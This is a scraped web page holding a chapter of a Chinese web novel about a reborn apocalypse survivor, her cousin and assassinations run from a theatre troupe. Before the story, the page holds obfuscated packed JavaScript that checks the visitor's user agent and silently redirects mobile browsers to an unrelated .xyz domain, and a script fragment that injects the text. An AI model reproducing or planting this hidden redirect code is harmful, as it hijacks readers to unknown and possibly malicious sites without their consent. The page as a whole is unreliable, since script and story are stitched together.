;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615142|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的能量。幼时你学习，明明久坐不动，却还会饿，就是因为如此。” 周莲泱盘腿坐在她面前，讶异地睁大了眼睛。 “而我需要的远比四分之一更多，甚至掠夺了其它器官发育的机会，所以才需要大量进补，供给消耗，直到发育完成。在这之前，所谓的宿慧，也只是一些凌乱不成形的碎片罢了。” 非要说的话，她的经历早已脱离科学的范畴，毕竟乔璃也能算作一个“穿越者”。 上辈子，她生活在一个历史人文都与现在差不多的蓝星，只是在公元20xx年，陨石碎片带来的外星病毒席卷了全球，一个晚上就夺取了十亿三千万人的性命。 这种疯狂的传染病持续发酵，而大量出现的死者并非真正死去，而是成为携带致命病毒的恐怖丧尸，常人一但被他们咬伤或被抓伤，就会受到感染。 进化成为了普通人生存的唯一凭仗。病毒在杀死人类的同时也激发了生物进化的本能，人类像无数小说和影视作品中的那样觉醒了异能，依靠不同的能力彼此合作，集群存活。 乔璃并没有成为异能者，但受辐射影响，她大脑活性被异常激发。虽然过程痛苦，就结果而言也算一件好事——她带领的研究团队制作出了净化病毒的解药。 上辈子的记忆，分明清晰，却感觉已经极其遥远了。恐怖的丧尸，幸存者的勾心斗角，还有研制药剂的反复与艰难，都好像大梦一场。 乔璃捡了些周莲泱能理解的事，还有与玉关柳的全部争锋，一一坦言。 只是隐藏下末世里的某些……远比两人曾经流亡凶恶得多的经历，真全说出来，怕是要吓坏表哥。 眼下看周莲泱这副大脑彻底宕机的呆模样，她就知道，隐瞒是必须隐瞒的，也许日后可以提及。 “暗杀……你说泰春班？” 周莲泱睁大双眼，呼吸都不敢大声了，贴着她，睫毛一扑一扑，声音压得极低。 “熊槐手上有人命，包括严雪辕，恐怕她从小就作为谋杀的一份子，参与玉关柳的计划了。”乔璃耳朵有些痒，又笑，“女人与小孩，总是容易被忽略的。” “至于吸收进戏班的荤角，表哥以为玉关柳何苦开一月三五十银，要什么给什么？筛选出来得用的，自然要替她收集情报，必要时亲自动手，如翠姊一样。” 乔璃的话带来的冲击相当大，周莲泱怔愣一会，又觉得蛛丝马迹，无一不早将事实展现在眼前了。只是，凭他自己，是根本看不出来的，泰春班表面就是个蚀骨地、销金窟，哪怕玉关柳比寻常老鸨风光些，也绝想不到那样软玉胭红的女子，会是搅动风云的杀人手。 “所以……囡儿病好了么？可以跑跳，可以大笑，不会总是受凉卧床，怎么也好不了？” 青年面色有些恍惚，更多的是无处安放的惊喜，绽放出稠美如花的浓艳：“表妹好了？” “我好了。”乔璃叹了一下，主动抱住他。 他的双臂紧紧收起来，那么用力，令她的背脊都有些痛。他眼中纯粹欣然的喜意，牵得她心脏也有一瞬的皱缩。 上辈子，有人爱她，有人恨她，有人将她奉为神明膜拜。可无论是谁，都未曾改变她。 最后，她也因为永不改变的无情，死于末日结束后的欢庆。 但眼前这个人，是她唯一没有预料到的，失忆的乔璃抓住的……一颗心。 他喉结处一圈叠一圈的红晃得乔璃抿了抿唇。 “表哥，我会为你赎身，只是……” “只是什么？囡儿不用急，赎不赎身都无所谓，只要你病好，能康健地去上学，表哥什么都不需要。”周莲泱轻吻着她的额心笑道。 乔璃想要的当然不只是这点盼头。 她想要玉关柳手里的人脉、情报和势力，想要能够挥霍的财富，想要能让所有人都闭嘴、抹杀一切反对之声的——强权。与人打交道，总让她觉得有些无聊——嫉妒，愤怒，喜悦，悲哀，死去活来地相爱分离，乔璃食来总味同嚼蜡。 若只有她一个，自然怎样都可活。 “我不能去圣玛丽亚女中。” 周莲泱失笑：“囡儿想去哪里？若日后不用吃药，我大概还供得起。” 面前之人眼中温柔又带着些不忍，唇瓣轻碰他的面颊，缱绻地唤他的名字：“为了合适的人脉，我必须去上西女学。玉关柳在看见真正的利益之前不会投资更多……” “所以，莲哥哥，我需要你多赚一点钱。”